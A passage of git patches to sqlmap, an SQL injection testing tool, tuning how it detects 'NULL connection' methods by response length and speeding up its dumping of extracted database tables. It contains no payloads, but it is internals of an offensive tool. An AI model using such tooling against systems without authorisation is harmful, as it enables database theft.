df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -f4fb3839e5accd1b58b34226e4b26f5079d9696e24d335d37d870cd5e62d1e80 lib/controller/checks.py +d6d9159d00f47995cb7414a9e0be1dd088b584ef7ce1eeeb2c9008dec3363e5f lib/controller/checks.py 666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -a2fb281b59c4526613f22fc0e994b68db91c1263db415aa86002ec4e20773639 lib/core/settings.py +c6e83cef57c4b6d492cf3de91ea3b3b176971c36c773759737b6c95269cfadf9 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 6a7043cc922..aea85795f43 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -93,6 +93,7 @@ from lib.core.settings import MAX_STABILITY_DELAY from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import NULL_CONNECTION_SKIP_READ_MIN_LENGTH from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS from lib.core.settings import SINGLE_QUOTE_MARKER from lib.core.settings import SLEEP_TIME_MARKER @@ -1552,10 +1553,24 @@ def checkNullConnection(): _, headers, _ = Request.getPage(skipRead=True) if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): - kb.nullConnection = NULLCONNECTION.SKIP_READ - - infoMsg = "NULL connection is supported with 'skip-read' method" - logger.info(infoMsg) + try: + length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + except ValueError: + length = len(kb.originalPage or "") + + # Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the + # connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake + # per request. That only outweighs the avoided body transfer for large responses; + # for small ones it is a net slowdown, so it is gated by the response size here + if length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH: + kb.nullConnection = NULLCONNECTION.SKIP_READ + + infoMsg = "NULL connection is supported with 'skip-read' method" + logger.info(infoMsg) + else: + debugMsg = "'skip-read' NULL connection method is available but skipped because the " + debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length + logger.debug(debugMsg) except SqlmapConnectionException: pass diff --git a/lib/core/settings.py b/lib/core/settings.py index 43667bf80ef..f750592d770 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.199" +VERSION = "1.10.6.200" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -187,6 +187,13 @@ STRUCTURAL_CLASS_REGEX = r"""(?si)\bclass\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" +# Minimum response size (in bytes) for the 'skip-read' NULL connection method to be used. Unlike +# HEAD/Range, 'skip-read' leaves the body unread and must therefore close the connection (an unread +# body cannot be reused), paying a fresh TCP/TLS handshake per request. That only pays off when +# avoiding the body transfer outweighs the reconnect - i.e. for large responses; for small ones it +# is a net slowdown, so it is gated by this size +NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024 + # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b" From d6b491dec4eee9277db89133adc0a1f6e7873ec4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 00:00:47 +0200 Subject: [PATCH 656/853] Minor safety mechanism for HEAD null connection --- data/txt/sha256sums.txt | 4 +- lib/controller/checks.py | 97 +++++++++++++++++++++++++++------------- lib/core/settings.py | 11 ++++- 3 files changed, 79 insertions(+), 33 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0736b248ec6..76a24f6bd5c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -162,7 +162,7 @@ df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/ 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py 617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py -d6d9159d00f47995cb7414a9e0be1dd088b584ef7ce1eeeb2c9008dec3363e5f lib/controller/checks.py +6f3198df20330b6ff0eb7f615082ca7046e6887ac5d3e5df3598d36f66724e01 lib/controller/checks.py 666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96 lib/controller/controller.py d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller/handler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c6e83cef57c4b6d492cf3de91ea3b3b176971c36c773759737b6c95269cfadf9 lib/core/settings.py +4d9cc21e2b2a10fd6c06ce6c9b248fd16a4c266511cd01156bbe7643e5327a89 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/controller/checks.py b/lib/controller/checks.py index aea85795f43..95417492c3c 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -93,6 +93,8 @@ from lib.core.settings import MAX_STABILITY_DELAY from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_HIGH +from lib.core.settings import NULL_CONNECTION_LENGTH_TOLERANCE_LOW from lib.core.settings import NULL_CONNECTION_SKIP_READ_MIN_LENGTH from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS from lib.core.settings import SINGLE_QUOTE_MARKER @@ -1533,44 +1535,79 @@ def checkNullConnection(): pushValue(kb.pageCompress) kb.pageCompress = False + # A method is accepted only if the length it reports tracks the real GET response. The + # original page length (len(kb.originalPage)) is the reference; a method whose length is + # grossly off (e.g. HEAD returning 'Content-Length: 0', HEAD served from a different code + # path, or sneaked-in compression) would otherwise make every page look identical and + # silently break detection. The band is coarse on purpose (byte-vs-character size and + # moderate page dynamism are expected); a false reject just forgoes the optimization + def _plausibleLength(length): + reference = len(kb.originalPage or "") + if not reference: + return True + return NULL_CONNECTION_LENGTH_TOLERANCE_LOW * reference <= length <= NULL_CONNECTION_LENGTH_TOLERANCE_HIGH * reference + try: page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False) if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}): - kb.nullConnection = NULLCONNECTION.HEAD + try: + length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + except ValueError: + length = None - infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" - logger.info(infoMsg) - else: + if length is not None and _plausibleLength(length): + kb.nullConnection = NULLCONNECTION.HEAD + + infoMsg = "NULL connection is supported with HEAD method ('Content-Length')" + logger.info(infoMsg) + elif length is not None: + debugMsg = "HEAD method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or "")) + logger.debug(debugMsg) + + if kb.nullConnection is None: page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"}) if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}): - kb.nullConnection = NULLCONNECTION.RANGE - - infoMsg = "NULL connection is supported with GET method ('Range')" - logger.info(infoMsg) - else: - _, headers, _ = Request.getPage(skipRead=True) - - if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): - try: - length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) - except ValueError: - length = len(kb.originalPage or "") - - # Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the - # connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake - # per request. That only outweighs the avoided body transfer for large responses; - # for small ones it is a net slowdown, so it is gated by the response size here - if length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH: - kb.nullConnection = NULLCONNECTION.SKIP_READ - - infoMsg = "NULL connection is supported with 'skip-read' method" - logger.info(infoMsg) - else: - debugMsg = "'skip-read' NULL connection method is available but skipped because the " - debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length - logger.debug(debugMsg) + try: + length = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) + except ValueError: + length = None + + if length is not None and _plausibleLength(length): + kb.nullConnection = NULLCONNECTION.RANGE + + infoMsg = "NULL connection is supported with GET method ('Range')" + logger.info(infoMsg) + elif length is not None: + debugMsg = "'Range' method reports an implausible total length (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or "")) + logger.debug(debugMsg) + + if kb.nullConnection is None: + _, headers, _ = Request.getPage(skipRead=True) + + if HTTP_HEADER.CONTENT_LENGTH in (headers or {}): + try: + length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + except ValueError: + length = len(kb.originalPage or "") + + if not _plausibleLength(length): + debugMsg = "'skip-read' method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or "")) + logger.debug(debugMsg) + # Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the + # connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake + # per request. That only outweighs the avoided body transfer for large responses; + # for small ones it is a net slowdown, so it is gated by the response size here + elif length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH: + kb.nullConnection = NULLCONNECTION.SKIP_READ + + infoMsg = "NULL connection is supported with 'skip-read' method" + logger.info(infoMsg) + else: + debugMsg = "'skip-read' NULL connection method is available but skipped because the " + debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length + logger.debug(debugMsg) except SqlmapConnectionException: pass diff --git a/lib/core/settings.py b/lib/core/settings.py index f750592d770..17120f469d3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.200" +VERSION = "1.10.6.201" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -194,6 +194,15 @@ # is a net slowdown, so it is gated by this size NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024 +# Coarse plausibility band for a NULL connection method's reported length, relative to the known +# original page length (len(kb.originalPage)). A method is accepted only if its length falls within +# it; this rejects a method whose length does not track the real GET response (e.g. HEAD returning +# 'Content-Length: 0', HEAD served from a different code path, or sneaked-in compression). The band +# is deliberately generous (byte-vs-character size and moderate page dynamism are expected, and a +# false reject merely forgoes the optimization, which is safe) - it only catches gross mismatches +NULL_CONNECTION_LENGTH_TOLERANCE_LOW = 0.5 +NULL_CONNECTION_LENGTH_TOLERANCE_HIGH = 4.0 + # Regular expression used for recognition of IP addresses IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b" From 154c7e333e80c5b241058508eeb7863080ce5140 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 10:14:11 +0200 Subject: [PATCH 657/853] Minor optimization --- data/txt/sha256sums.txt | 6 +-- lib/core/convert.py | 13 ++++- lib/core/dump.py | 110 ++++++++++++++++++++++------------------ lib/core/settings.py | 2 +- 4 files changed, 76 insertions(+), 55 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 76a24f6bd5c..25692070e73 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -170,13 +170,13 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py -a683d0ad9ba543587382c4903d28db610ae20394fcf9045a68b2ab54a39381ae lib/core/convert.py +5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae lib/core/datatype.py f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py -854073f899b876ab13b36e93e174b9cfe51408f7343040197a80afd9fc9c65ee lib/core/dump.py +10d8bb671a64cc787fc2fbf2c641560b7797fccd62c4792e55dffe5efab9f544 lib/core/dump.py 6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4d9cc21e2b2a10fd6c06ce6c9b248fd16a4c266511cd01156bbe7643e5327a89 lib/core/settings.py +516d6b40efa04a5a25b0aa317ea49771f6964a57581777761f82d36d1b1b78b0 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py diff --git a/lib/core/convert.py b/lib/core/convert.py index 6588faf1a4c..31bbf9b8ec3 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -464,6 +464,9 @@ def stdoutEncode(value): return retVal +# str.isascii() is available on Python 3.7+ only (sqlmap still supports 2.7) +_HAS_ISASCII = hasattr(str, "isascii") + def getConsoleLength(value): """ Returns console width of unicode values @@ -475,7 +478,15 @@ def getConsoleLength(value): """ if isinstance(value, six.text_type): - retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value) + # Fast path: ASCII values have no wide (>= U+3000) characters, so their + # console width is simply their length. str.isascii() (Python 3.7+) is a + # C-level scan, far cheaper than the per-character generator below (which + # stays for the rare wide-character case and for Python 2). This runs + # once per dumped cell, so it dominates large table dumps. + if _HAS_ISASCII and value.isascii(): + retVal = len(value) + else: + retVal = len(value) + sum(ord(_) >= 0x3000 for _ in value) else: retVal = len(value) diff --git a/lib/core/dump.py b/lib/core/dump.py index 37264e93ec2..c81f5251916 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -627,11 +627,25 @@ def dbTableValues(self, tableValues): elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() + # Precompute the per-column layout once. These values are invariant across + # every row, so resolving them per cell (dict lookup, int() conversion and + # identifier normalization) wasted count x ncols work on large dumps. + dumpColumns = [] + for column in columns: + if column != "__infos__": + info = tableValues[column] + dumpColumns.append((unsafeSQLIdentificatorNaming(column), info["values"], int(info["length"]))) + for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 - values = [] - record = OrderedDict() + + # Only the SQLITE and JSONL paths accumulate a per-row container; the + # others left these unused, wasting an allocation on every single row + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + values = [] + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + record = OrderedDict() if i == 0 and count > TRIM_STDOUT_DUMP_SIZE: self._write(" ...") @@ -639,62 +653,58 @@ def dbTableValues(self, tableValues): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "") - for column in columns: - if column != "__infos__": - info = tableValues[column] - - if len(info["values"]) <= i or info["values"][i] is None: - value = u'' + for safeColumn, colValues, maxlength in dumpColumns: + if len(colValues) <= i or colValues[i] is None: + value = u'' + else: + value = getUnicode(colValues[i]) + value = DUMP_REPLACEMENTS.get(value, value) + + if conf.dumpFormat == DUMP_FORMAT.SQLITE: + # Note: store a real NULL for the NULL sentinel (and the raw value otherwise), + # mirroring the JSONL path below; appending the display-replaced 'NULL'/'' + # text would corrupt the INTEGER/REAL-typed columns inferred above + if len(colValues) <= i or colValues[i] is None or colValues[i] == " ": # NULL + values.append(None) else: - value = getUnicode(info["values"][i]) - value = DUMP_REPLACEMENTS.get(value, value) - - if conf.dumpFormat == DUMP_FORMAT.SQLITE: - # Note: store a real NULL for the NULL sentinel (and the raw value otherwise), - # mirroring the JSONL path below; appending the display-replaced 'NULL'/'' - # text would corrupt the INTEGER/REAL-typed columns inferred above - if len(info["values"]) <= i or info["values"][i] is None or info["values"][i] == " ": # NULL - values.append(None) - else: - values.append(getUnicode(info["values"][i])) + values.append(getUnicode(colValues[i])) - maxlength = int(info["length"]) - blank = " " * (maxlength - getConsoleLength(value)) - self._write("| %s%s" % (value, blank), newline=False, console=console) + blank = " " * (maxlength - getConsoleLength(value)) + self._write("| %s%s" % (value, blank), newline=False, console=console) - if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: - try: - mimetype = getText(magic.from_buffer(getBytes(value), mime=True)) - if any(mimetype.startswith(_) for _ in ("application", "image")): - if not os.path.isdir(dumpDbPath): - os.makedirs(dumpDbPath) + if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: + try: + mimetype = getText(magic.from_buffer(getBytes(value), mime=True)) + if any(mimetype.startswith(_) for _ in ("application", "image")): + if not os.path.isdir(dumpDbPath): + os.makedirs(dumpDbPath) - _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column))) - filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) - warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) - logger.warning(warnMsg) + _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(safeColumn)) + filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) + warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) + logger.warning(warnMsg) - with openFile(filepath, "w+b", None) as f: - _ = safechardecode(value, True) - f.write(_) + with openFile(filepath, "w+b", None) as f: + _ = safechardecode(value, True) + f.write(_) - except Exception as ex: - logger.debug(getSafeExString(ex)) + except Exception as ex: + logger.debug(getSafeExString(ex)) - if conf.dumpFormat == DUMP_FORMAT.CSV: - if field == fields: - dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) - else: - dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) - elif conf.dumpFormat == DUMP_FORMAT.HTML: - dataToDumpFile(dumpFP, "%s" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) - elif conf.dumpFormat == DUMP_FORMAT.JSONL: - if len(info["values"]) <= i or info["values"][i] is None or info["values"][i] == " ": # NULL - record[unsafeSQLIdentificatorNaming(column)] = None - else: - record[unsafeSQLIdentificatorNaming(column)] = getUnicode(info["values"][i]) + if conf.dumpFormat == DUMP_FORMAT.CSV: + if field == fields: + dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) + else: + dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) + elif conf.dumpFormat == DUMP_FORMAT.HTML: + dataToDumpFile(dumpFP, "%s" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace"))) + elif conf.dumpFormat == DUMP_FORMAT.JSONL: + if len(colValues) <= i or colValues[i] is None or colValues[i] == " ": # NULL + record[safeColumn] = None + else: + record[safeColumn] = getUnicode(colValues[i]) - field += 1 + field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: diff --git a/lib/core/settings.py b/lib/core/settings.py index 17120f469d3..88b61ddd44f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.201" +VERSION = "1.10.7.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6e459d66f264ce27aa928d0c1f965d168b015b35 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Wed, 1 Jul 2026 10:34:53 +0200 Subject: [PATCH 658/853] Couple of optimizations --- data/txt/sha256sums.txt | 8 +-- lib/core/common.py | 50 +++++++------ lib/core/settings.py | 2 +- lib/utils/dialect.py | 97 +++++++++++++++----------- tests/test_dialectdbms.py | 143 +++++++++++++++++++++----------------- 5 files changed, 169 insertions(+), 131 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 25692070e73..342609ae645 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed lib/core/common.py +751c3bf178e91e60b25e3b01ce7636029804dd78f64e9ee0418bdb126889a7bc lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -516d6b40efa04a5a25b0aa317ea49771f6964a57581777761f82d36d1b1b78b0 lib/core/settings.py +b38aa7769be9d31f2d55172a992732f506f05fba49d6a170eb9485f78da7c360 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py @@ -257,7 +257,7 @@ aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api. 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py -b0d8ae8513c1f5ffcaa4bf0398790f26bc2180a6acf07bf5b2c86555bf9113f6 lib/utils/dialect.py +bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dialect.py 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py @@ -602,7 +602,7 @@ c17544be5e945dc8c4fbb5c3b922da8eceec30b0fb239c32fb5f40e1660a197f tests/test_dat 8a1edb6dbc000e412ba5cc598e024b669fc76ec0a8fc32136808e6325a018f70 tests/test_dbms_enum.py 3804eb2d730220360f9dc07d5994eb64e9f65acf3b0d8648df8df2a2177ba8fd tests/test_decodepage.py 180e5fd3f75fadf7ac1135f99797314e2cf1f8ae6dced02edfb18ccba43c0148 tests/test_deps.py -b01343eb8aa42ea5c2c483ec028a24f6451aa6f668fdc0c289d5ff9554c277d7 tests/test_dialectdbms.py +fa85881aa8d082a65aeacb2b03fcb5d2abb1daa9a02ee24ff048d54fbc904b90 tests/test_dialectdbms.py e40a49cfa73c45b3c3c6d1d1d00738861e270cb7a07b28f5a5356f9c7c800cf2 tests/test_dialect.py 993a2d4d87c4fbaf261663b069629acc95ee4405aa0c42cf5a8f39649fdb0fff tests/test_dicts.py 7f9180a53dbf0bb3e52801fdbfffd31f365a0bff77bf90e58d2ef63a0c23026f tests/test_dns_engine.py diff --git a/lib/core/common.py b/lib/core/common.py index 937064d7054..ec7db6ff96b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3310,7 +3310,16 @@ def isNumPosStrValue(value): return retVal -@cachedmethod +# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a +# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum() +# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via +# setdefault in dict order preserves the original first-match-wins semantics. +_DBMS_ALIAS_MAP = {} +for _dbmsKey, _dbmsItem in DBMS_DICT.items(): + for _dbmsAlias in _dbmsItem[0]: + _DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey) + _DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey) + def aliasToDbmsEnum(dbms): """ Returns major DBMS name from a given alias @@ 